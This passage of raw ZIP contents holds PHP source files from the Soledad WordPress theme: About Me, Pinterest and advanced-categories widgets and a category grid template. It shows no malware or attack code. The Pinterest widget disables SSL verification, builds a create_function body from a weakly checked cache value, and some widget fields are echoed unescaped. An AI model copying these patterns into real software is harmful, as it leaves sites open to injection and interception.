            <!-- Widget Title: Text Input -->

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Align -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>">Align This Widget:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'align' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='pc_aligncenter' <?php if ( '' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Center
                    </option>
                    <option value='pc_alignleft' <?php if ( 'pc_alignleft' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Left
                    </option>
                    <option value='pc_alignright' <?php if ( 'pc_alignright' == $instance['align'] ) {
						echo 'selected="selected"';
					} ?>>Align Right
                    </option>
                </select>
            </p>

            <!-- image url -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image' ) ); ?>"><?php esc_html_e( 'About Image URL:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'image' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'image' ) ); ?>"
                       value="<?php echo esc_url( $instance['image'] ); ?>"/><br/>
                <small><?php _e( 'Insert your image URL. To get good for load, let use image about 400px width.<br>You can check <a href="https://www.wpbeginner.com/beginners-guide/how-to-get-the-url-of-images-you-upload-in-wordpress/" target="_blank" rel="noreferrer noopener">this guide</a> to know how to get URL of an image you upload.', 'soledad' ); ?></small>
            </p>

            <!-- Circle image -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'circle' ) ); ?>"><?php esc_html_e( 'Make About Image Circle:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'circle' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'circle' ) ); ?>" <?php checked( (bool) $instance['circle'], true ); ?> /><br/>
                <small><?php esc_html_e( 'To use this feature, please use square image for your image above to get best display.', 'soledad' ); ?></small>
            </p>

            <!-- Lazyload image -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'lazyload' ) ); ?>"><?php esc_html_e( 'Disable Lazyload for About Me Image:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'lazyload' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'lazyload' ) ); ?>" <?php checked( (bool) $instance['lazyload'], true ); ?> />
            </p>

            <!-- Link for image -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imageurl' ) ); ?>"><?php esc_html_e( 'Add Link for About Image:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'imageurl' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imageurl' ) ); ?>"
                       value="<?php echo sanitize_text_field( $instance['imageurl'] ); ?>"/>
                <small>If you want to clickable on the about me image link to other page, put the link here. Include
                    <strong style="font-weight: bold;">http://</strong> or <strong
                            style="font-weight: bold;">https://</strong> on the link</small>
            </p>

            <!-- Open new tab image -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'target' ) ); ?>"><?php esc_html_e( 'Click About Image Open in New Tab?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'target' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'target' ) ); ?>" <?php checked( (bool) $instance['target'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imagemaxwidth' ) ); ?>"><?php esc_html_e( 'Custom Max Width for About Me Image:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'imagemaxwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imagemaxwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imagemaxwidth'] ); ?>" size="3"/> px
            </p>

            <!-- heading text -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'heading' ) ); ?>"><?php esc_html_e( 'Heading Text:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'heading' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'heading' ) ); ?>"
                       value="<?php echo sanitize_text_field( $instance['heading'] ); ?>"/>
            </p>

            <!-- description -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'description' ) ); ?>"><?php esc_html_e( 'About me text: ( you can use HTML here )', 'soledad' ); ?></label>
                <textarea class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'description' ) ); ?>"
                          name="<?php echo esc_attr( $this->get_field_name( 'description' ) ); ?>"
                          rows="6"><?php echo esc_textarea( $instance['description'] ); ?></textarea>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fheading' ) ); ?>"><?php esc_html_e( 'Heading Text Font Size ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'fheading' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fheading' ) ); ?>"
                       value="<?php echo esc_attr( $instance['fheading'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fdesc' ) ); ?>"><?php esc_html_e( 'About Me Text Font Size', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'fdesc' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fdesc' ) ); ?>"
                       value="<?php echo esc_attr( $instance['fdesc'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\5Q6  6     inc/widgets/pinterest_widget.phpnu [        <?php
/**
 * Main class for render pinterest pinboard
 * Render HTML in your sidebar on front-end
 *
 * @since 1.0
 */

if ( ! class_exists( 'Penci_Pinterest' ) ):

	class Penci_Pinterest {

		// Pinterest url
		var $pinterest_feed = 'https://pinterest.com/%s/feed.rss';

		var $start_time;

		function __construct() {
			$this->start_time = microtime( true );
		}

		// Render the pinboard and output
		function render_html( $username, $numbers, $cache_time = 1200, $follow = true ) {
			$user_display_html = $username;
			$pins = $this->get_board_name_pins( $username, $cache_time );
			$user_display = explode( "/", trim( $username ) );
			if( is_array( $user_display ) ) {
				$user_display_html = $user_display[0];
			}
			
			if( ! empty( $pins ) ) {
				echo '<div class="penci-images-pin-widget">';
				$i = 1;
				foreach ( $pins as $pin ) {
					if ( $numbers < $i ) {
						continue;
					}
					
					$image = isset( $pin['images']['orig']['url'] ) ? $pin['images']['orig']['url'] : '';
					if ( ! $image ) {
						continue;
					}

					$pin_id = isset( $pin['id'] ) ? $pin['id'] : '';
					$url    = 'https://www.pinterest.com/pin/' . $pin_id;
					
					$lazyhtml = '<span class="penci-image-holder rectangle-fix-size penci-lazy" data-bgset="' . esc_url( $image ) . '"></span>';
					if( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
						$lazyhtml = '<span class="penci-image-holder rectangle-fix-size" style="background-image: url(' . esc_url( $image ) . ');"></span>';
					}

					echo '<a href="' . esc_url( $url ) . '" aria-label="Pinterest URL" rel="noopener" target="_blank">'. $lazyhtml .'</a>';
					
					$i++;
				}

				echo '</div>';
			}else {
				$user_display = explode( "/", trim( $username ) );
				if( is_array( $user_display ) ) {
					$user_display_html = $user_display[0];
					if( isset($user_display[1]) && $user_display[1] ){
					    $user_board =  $user_display[1];
					}
				}

				 if( isset( $user_display_html ) && $user_display_html && isset( $user_board ) && $user_board ){
    			    $feedurl = 'http://pinterest.com/'.$user_display_html.'/'.$user_board.'.rss';
    			}
    			else{
    		        $feedurl = 'http://pinterest.com/'.$user_display_html.'/feed.rss';
    			}

				$cache_key = 'penci_pinterest_feed_' . strtolower( $username ) . esc_attr( $numbers );
				$item_foreach_cache = get_transient( $cache_key );
				
				$remove_item_foreach_cache = isset( $_GET['penci_cache_feed'] ) ? true : false;

				$item_foreach_pre = array();
				if ( ! $item_foreach_cache || $remove_item_foreach_cache ) {
					$rss = fetch_feed($feedurl);
					if ( is_wp_error( $rss ) ){
						if( current_user_can('manage_options') ){
							echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Pinterest data return errors. Please check again your settings.</p>';
							return null;
						} else {
							return null;
						}
					}
					
                	$item_foreach = ! empty( $rss->get_items() ) ? $rss->get_items() : array();
					
					if( ! empty( $item_foreach ) ){
						$i = 1;
						foreach ( $item_foreach as $item ) {
							if ( $numbers < $i ) {
								continue;
							}
							$imagedata = $item->get_content();
							
							preg_match( '/src="([^\"]*)"/i', $imagedata, $matchessrc ) ;
							preg_match( '/href="([^\"]*)"/i', $imagedata, $matcheshref ) ;
							
							$item_foreach_pre[] = array(
								'image_url' => isset( $matchessrc[1] ) ? $matchessrc[1] : '',
								'url' => isset( $matcheshref[1] ) ? $matcheshref[1] : ''
							);

							$i++;
						}
					}
					if( ! empty( $item_foreach_pre ) ){  
						set_transient( $cache_key,$item_foreach_pre,  $cache_time );
					}
				}else {

					$item_foreach_pre = $item_foreach_cache;
				}

                if( ! empty( $item_foreach_pre ) ){    
				
    				echo '<div class="penci-images-pin-widget">';
    				$i = 1;
    				foreach ($item_foreach_pre as $item ) {
    					if ( $numbers < $i ) {
    						continue;
    					}
    				
    					$image_url = isset( $item['image_url'] ) ? $item['image_url'] : '';
    					$url =isset( $item['url'] ) ? $item['url'] : '';
						
						$lazyhtml = '<span class="penci-image-holder rectangle-fix-size penci-lazy" data-bgset="' . esc_url( $image_url ) . '"></span>';
						if( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
							$lazyhtml = '<span class="penci-image-holder rectangle-fix-size" style="background-image: url(' . esc_url( $image_url ) . ');"></span>';
						}

						echo '<a href="' . esc_url( $url ) . '" aria-label="Pinterest URL" rel="noopener" target="_blank">'. $lazyhtml .'</a>';
    					$i++;
    				}
					echo '</div>';
				}else{
					if( current_user_can('manage_options') ){
						echo '<p style="text-align: center;">This message appears for Admin Users only:<br>Render failed - no data is received, please check again the username</p>';
					} else {
						echo '';
					}
					return null;
				}			
			} 
			?>
			
			<?php if ( $follow ): ?>
				<div class="pin_link">
					<a href="http://pinterest.com/<?php echo sanitize_text_field( $user_display_html ); ?>/" aria-label="Follow on Pinterest" rel="noopener" target="_blank">@<?php echo sanitize_text_field( $user_display_html ); ?></a>
				</div>
			<?php endif; ?>
		<?php
		}

		/**
		 * Retrieve RSS feed for username, and parse the data needed.
		 * Returns null if error, otherwise a has of pins.
		 * Callback it on render_html functions
		 *
		 * @since 1.0
		 */
		function get_pins( $username, $numbers, $cache_time = 1200 ) {

			if( !is_numeric( $cache_time ) && $cache_time < 1 ): $cache_time = 1200; endif;
			// Set caching.
			add_filter( 'wp_feed_cache_transient_lifetime', create_function( '$a', 'return ' . $cache_time . ';' ) );

			// Get the RSS feed.
			$url = sprintf( $this->pinterest_feed, $username );
			$rss = fetch_feed( $url );
			if ( is_wp_error( $rss ) ) {
				return null;
			}

			$maxitems  = $rss->get_item_quantity( $numbers );
			$rss_items = $rss->get_items( 0, $maxitems );

			$pins = array();
			if ( is_null( $rss_items ) ) {
				$pins = null;
			}
			else {

				// Build patterns to search/replace in the image urls
				$search  = array( '_b.jpg' );
				$replace = array( '_t.jpg' );

				// Make url protocol relative
				array_push( $search, 'https://' );
				array_push( $replace, '//' );

				$pins = array();
				foreach ( $rss_items as $item ) {
					$title       = $item->get_title();
					$description = $item->get_description();
					$url         = $item->get_permalink();
					if ( preg_match_all( '/<img src="([^"]*)".*>/i', $description, $matches ) ) {
						$image = str_replace( $search, $replace, $matches[1][0] );
					}
					array_push( $pins, array(
						'title' => $title,
						'image' => $image,
						'url'   => $url
					) );
				}
			}

			return $pins;
		}
		
		public function get_board_name_pins( $username, $cache_time = 1200 ) {

			$output = array();

			$cache_key = 'penci_pinterest_' . strtolower( $username );

			$pinterest_cache = get_transient( $cache_key );

			if ( ! $pinterest_cache ) {

				$params = array(
					'timeout'    => 60,
					'sslverify'  => false,
					'headers'    => array( 'Accept-language' => 'en' ),
					'user-agent' => 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0'
				);

				$response = wp_remote_get( 'https://www.pinterest.com/' . $username, $params );

				if ( ! is_wp_error( $response ) ) {
					$request_result = wp_remote_retrieve_body( $response );

					preg_match_all( '/jsInit1\'>(.*)<\/script>/', $request_result, $matches );

					if ( ! empty( $matches[1] ) && count( $matches[1] ) ) {
						$pinterest_json = json_decode( $matches[1][0], true );

						if ( ! isset( $pinterest_json['resourceDataCache'][1]['data']['board_feed'] ) ) {
							$output['error'] = esc_html__( 'The pinterest data is not set, please check the ID', 'soledad' );
						} elseif ( isset( $pinterest_json["resourceDataCache"][0]['data']['type'] ) && $pinterest_json["resourceDataCache"][0]['data']['type'] !== 'board' ) {
							$output['error'] = esc_html__( 'Invalid pinterest data for  <strong>' . $username . '</strong> please check the <em>user/board_id</em>', 'soledad' );
						} else {
							$output = (array) $pinterest_json['resourceDataCache'][1]['data']['board_feed'];
						}
					}
					
					set_transient( $cache_key, $output,  $cache_time );
				}
			} else {
				$output = $pinterest_cache;
			}
			
			

			return $output;
		}
		
	}

endif; /* End check if class exists */


/**
 * Create a pinterest widget on sidebar
 *
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_register_pinterest_widget' );

function penci_register_pinterest_widget() {
	register_widget( 'Penci_Pinterest_Widget' );
}

if( ! class_exists( 'Penci_Pinterest_Widget' ) ) {
	class Penci_Pinterest_Widget extends WP_Widget {

		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_pinterest_widget',
				'description' => esc_html__( 'A widget that display pinterest widget.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_pinterest_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_pinterest_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Pinterest Widget', 'soledad' ), $widget_ops, $control_ops );
			}
			else {
				parent::__construct( 'penci_pinterest_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Pinterest Widget', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		function widget( $args, $instance ) {
			extract( $args );

			$title    = isset( $instance['title'] ) ? $instance['title'] : '';
			$title    = apply_filters( 'widget_title', $title );
			$username = isset( $instance['username'] ) ? $instance['username'] : '';
			$numbers  = isset( $instance['numbers'] ) ? $instance['numbers'] : '';
			$follow   = isset( $instance['follow'] ) ? $instance['follow'] : '';
			$cache    = isset( $instance['cache'] ) ? $instance['cache'] : '';

			echo ent2ncr( $before_widget );
			if ( $title ) {
				echo( $before_title . $title . $after_title );
			}
			echo '<div class="penci-pinterest-widget-container">';

			// Render the pinboard from the widget settings.
			$pinboard = new Penci_Pinterest();
			$pinboard->render_html( $username, $numbers, $cache, $follow );

			echo '</div>';

			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array( 'title'    => 'On Pinterest',
			                   'username' => 'username',
			                   'numbers'  => '9',
			                   'cache'    => '1200',
			                   'follow'   => true
			);

			return $defaults;
		}

		function form( $instance ) {
			// load current values or set to default.
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text"
                       value="<?php echo $instance_title; ?>"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>">Enter the <strong
                            style="color: #ff0000;">username</strong> or <strong style="color: #ff0000;">username/board_name</strong>
                    for load images:</label>
				<p class="description" style="padding: 0; margin-bottom: 13px;">Example if you want to load a board has url <strong style="color: #ff0000;"><a href="https://www.pinterest.com/thefirstmess/animals-cuteness" target="_blank">https://www.pinterest.com/thefirstmess/animals-cuteness</a></strong> You need to fill <strong style="color: #ff0000;">thefirstmess/animals-cuteness</strong></p>
				<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>" type="text" value="<?php echo sanitize_text_field( $instance['username'] ); ?>" />
			</p>
			<p>
				<label for="<?php echo esc_attr( $this->get_field_id( 'numbers' ) ); ?>"><?php esc_html_e( 'Numbers image to show:', 'soledad' ); ?></label>
				<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'numbers' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'numbers' ) ); ?>" type="number" value="<?php echo absint( $instance['numbers'] ); ?>" />
			</p>
			<p>
				<label for="<?php echo esc_attr( $this->get_field_id( 'cache' ) ); ?>"><?php esc_html_e( 'Cache life time ( unit is seconds ):', 'soledad' ); ?></label>
				<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'cache' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'cache' ) ); ?>" type="number" value="<?php echo absint( $instance['cache'] ); ?>" />
			</p>
			<p>
				<label for="<?php echo esc_attr( $this->get_field_id( 'follow' ) ); ?>"><?php esc_html_e( 'Display more link with username text?:', 'soledad' ); ?></label>
				<input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'follow' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'follow' ) ); ?>" <?php checked( (bool) $instance['follow'], true ); ?> />
			</p>
		<?php
		}
	}
}
PK     N\hg      inc/widgets/category.phpnu [        <div class="penci-bgitem<?php if ( 'style-2' == $biggid_style ) {
	echo ' item-masonry';
}
echo $is_big_item . penci_big_grid_count_classes( $bg, $biggid_style ) . $item_id; ?>">
    <div class="penci-bgitin">
        <div class="penci-bgmain">
            <?php do_action('penci_bl_follow_term',['follow_taxonomy'=> $settings['term_name'],'follow_term_id' => $setting->term_id]); ?>
            <div class="pcbg-thumb">
                <div class="pcbg-thumbin">
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' != $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>

                        <div <?php echo penci_layout_bg( $image_url, ! $disable_lazy ); ?> class="<?php echo penci_layout_bg_class(! $disable_lazy);?> penci-image-holder"<?php if ( 'style-2' == $biggid_style ) {
							echo ' style="padding-bottom: ' . $image_ratio . '%"';
						} ?>>
	                        <?php echo penci_layout_img( $image_url, $title, ! $disable_lazy ); ?>
                        </div>

                </div>
            </div>
            <div class="pcbg-content">
                <div class="pcbg-content-flex<?php if ( $title_link ) {
					echo ' pcbg-overlap-hover';
				} ?>">
					<?php if ( $title_link ) { ?>
                        <a class="pcbg-cbgoverlap"
                           href="<?php echo esc_url( $title_link ); ?>"
                           title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
					<?php } ?>
                    <a class="pcbg-bgoverlay<?php if ( 'whole' == $overlay_type && 'on' == $bgcontent_pos ): echo ' active-overlay'; endif; ?>"
					   <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                       title="<?php echo wp_strip_all_tags( $title ); ?>"></a>
                    <div class="pcbg-content-inner<?php if ( 'inline-block' == $content_display ) {
						echo ' bgcontent-inline-block';
					} else {
						echo ' bgcontent-block';
					} ?>">
                        <a <?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"<?php } ?>
                           title="<?php echo wp_strip_all_tags( $title ); ?>"
                           class="pcbg-bgoverlaytext<?php if ( 'text' == $overlay_type ): echo ' active-overlay'; endif; ?> item-hover"></a>

						<?php if ( $title ) : ?>
                            <div class="pcbg-heading item-hover">
                                <h3 class="pcbg-title"><a
										<?php if ( $title_link ){ ?>href="<?php echo esc_url( $title_link ); ?>"><?php }
										if ( ! $title_length ) {
											echo $title;
										} else {
											echo wp_trim_words( wp_strip_all_tags( $title ), $title_length, '...' );
										} ?></a></h3>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'count', $post_meta ) && ! $hide_cat_small_flag ) : ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc">
                                    <span class="cat pcbg-sub-title">
                                        <?php
                                        $prefix = $post_count == 1 ? penci_get_setting('penci_trans_post') : penci_get_setting('penci_trans_posts');
                                        echo $post_count . ' ' . $prefix; ?>
                                    </span>
                                </div>
                            </div>
						<?php endif; ?>

						<?php if ( in_array( 'desc', $post_meta ) && $desc && ! $hide_excerpt_small_flag ) { ?>
                            <div class="grid-post-box-meta pcbg-meta item-hover">
                                <div class="pcbg-meta-desc"><?php echo wp_trim_words( wp_strip_all_tags( $desc ), $excerpt_length, '...' ); ?></div>
                            </div>
						<?php } ?>

                        <?php if ( $show_readmore && ! $hide_rm_small_flag ) { ?>
                            <div class="pcbg-readmore-sec item-hover">
                                <a href="<?php echo esc_url( $title_link ); ?>"
                                   class="pcbg-readmorebtn <?php echo 'pcreadmore-icon-' . $readmore_icon_pos; ?>">
                                    <span class="pcrm-text"><?php echo penci_get_setting( 'penci_trans_view_all' ); ?></span>
                                </a>
                            </div>
                        <?php } ?>

                        
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>PK     N\N,N  N  #  inc/widgets/advanced_categories.phpnu [        <?php

add_action( 'widgets_init', 'penci_advanced_categories_load_widget' );

function penci_advanced_categories_load_widget() {
	register_widget( 'penci_advanced_categories_widget' );
}

if ( ! class_exists( 'penci_advanced_categories_widget' ) ) {
	class penci_advanced_categories_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */

		private $classname = [];

		function __construct() {
			/* Widget settings. */
			$this->classname[] = 'penci_advanced_categories_widget';
			$widget_ops        = array(
				'classname'   => implode( ',', $this->classname ),
				'description' => esc_html__( 'A widget that displays a list of category', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_advanced_categories_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_advanced_categories_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Advanced Categories', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_advanced_categories_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Advanced Categories', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title        = isset( $instance['title'] ) ? $instance['title'] : '';
			$title        = apply_filters( 'widget_title', $title );
			$style        = isset( $instance['style'] ) ? $instance['style'] : 'style-1';
			$rstyle       = isset( $instance['style'] ) ? $instance['style'] : 'style-1';
			$tax          = isset( $instance['tax'] ) ? $instance['tax'] : 'category';
			$hide_empty   = isset( $instance['hide_empty'] ) ? $instance['hide_empty'] : '';
			$order        = isset( $instance['order'] ) ? $instance['order'] : '';
			$orderby      = isset( $instance['orderby'] ) ? $instance['orderby'] : '';
			$hierarchical = isset( $instance['hierarchical'] ) && $instance['hierarchical'];
			$count        = isset( $instance['count'] ) && $instance['count'];
			$mark_count   = isset( $instance['mark_count'] ) && $instance['mark_count'];
			$maxitems     = isset( $instance['maxitems'] ) ? $instance['maxitems'] : '';
			$exclude      = isset( $instance['exclude'] ) ? $instance['exclude'] : '';
			$toggle       = isset( $instance['toggle'] ) ? $instance['toggle'] : '';

			$this->classname[] = 'widget_categories';
			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			$term_args = [
				'taxonomy'     => $tax,
				'hide_empty'   => ! $hide_empty,
				'order'        => $order,
				'orderby'      => $orderby,
				'hierarchical' => $hierarchical,
				'show_count'   => $count,
				'number'       => $maxitems,
				'title_li'     => '',
			];
			if ( $exclude ) {
				$term_args['exclude'] = explode( ',', $exclude );
			}
			$style = $mark_count ? $style . ' hlmark' : $style;
			add_filter( 'wp_list_categories', function ( $links ) use ( $mark_count ) {
				if ( $mark_count ) {
					$links = preg_replace( '/<\/a> \(([0-9.,]+)\)/', ' <span class="category-item-count">\\1</span></a>', $links );
				}

				return $links;

			}, 0, 1 );
			?>
            <div class="pc-widget-advanced-tax tax-<?php echo $style; ?>">
				<?php if ( 'style-3' == $rstyle ):
					$name = 'category' == $tax ? 'cat' : ( 'post_tag' == $tax ? 'tag' : $tax );
					$term_args['name'] = $name;
					$term_args['value_field'] = 'category' == $tax ? 'term_id' : 'slug';
					?>
                    <form method="get" action="<?php echo esc_url( home_url( '/' ) ); ?>">
						<?php
						wp_dropdown_categories( $term_args );
						?>
                        <script type="text/javascript">
                            /* <![CDATA[ */
                            (function () {
                                var dropdown = document.getElementById("<?php echo esc_attr( $name );?>");

                                function onCatChange() {
                                    if (dropdown.options[dropdown.selectedIndex].value !== '') {
                                        dropdown.parentNode.submit();
                                    }
                                }

                                dropdown.onchange = onCatChange;
                            })();
                            /* ]]> */
                        </script>
                    </form>
				<?php
                elseif ( 'style-2' == $rstyle ):

					if ( $instance['fsize'] ) {
						$term_args['smallest'] = $instance['fsize'];
						$term_args['largest'] = $instance['fsize'];
						$term_args['unit'] = 'px';
					}
					
					wp_tag_cloud( $term_args );
				else:
					$extra_class = $toggle ? ' toggle-enable' : '';
					echo '<ul class="pc-advanced-cat '.esc_attr( $extra_class ).'">';
					wp_list_categories( $term_args );
					echo '</ul>';
				endif; ?>
            </div>
			<?php

			$styles = [
				'color'    => [
					'color' => '#' . $this->id . '.penci_advanced_categories_widget span.category-item-count, #' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a'
				],
				'hcolor'   => [
					'color' => '#' . $this->id . '.penci_advanced_categories_widget a:hover span.category-item-count,#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link:hover,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a:hover'
				],
				'bgcolor'  => [
					'background-color' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a'
				],
				'bghcolor' => [
					'background-color' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link:hover,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a:hover'
				],
				'bdcolor'  => [
					'border-color' => '#' . $this->id . '.penci_advanced_categories_widget ul li,#' . $this->id . '.penci_advanced_categories_widget ul ul, #' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a'
				],
				'bdhcolor' => [
					'border-color' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link:hover,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a:hover'
				],
				'fsize'    => [
					'font-size' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li a, #' . $this->id . ' .pc-widget-advanced-tax.tax-style-3 select'
				],
				'fsizec'   => [
					'font-size' => '#' . $this->id . '.penci_advanced_categories_widget a.tag-cloud-link .tag-link-count,#' . $this->id . ' .pc-widget-advanced-tax.tax-style-1 ul li .category-item-count'
				],
			];

			$out = '';

			foreach ( $styles as $option => $selectors ) {
				$value = isset( $instance[ $option ] ) ? $instance[ $option ] : '';
				if ( $value ) {
					foreach ( $selectors as $prop => $selector ) {
						$prefix = 'font-size' == $prop ? 'px' : '';
						$out    .= $selector . '{' . $prop . ':' . $value . $prefix . '}';
					}
				}
			}

			if ( $out ) {
				echo '<style>' . $out . '</style>';
			}


			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance      = $old_instance;
			$data_instance = $this->soledad_widget_defaults();
			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'        => esc_html__( 'Categories', 'soledad' ),
				'style'        => '',
				'tax'          => 'category',
				'order'        => '',
				'orderby'      => '',
				'hide_empty'   => '',
				'hierarchical' => '',
				'count'        => '',
				'mark_count'   => '',
				'toggle'   	   => '',
				'maxitems'     => '',
				'exclude'      => '',
				'color'        => '',
				'hcolor'       => '',
				'bgcolor'      => '',
				'bghcolor'     => '',
				'bdcolor'      => '',
				'bdhcolor'     => '',
				'fsize'        => '',
				'fsizec'       => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
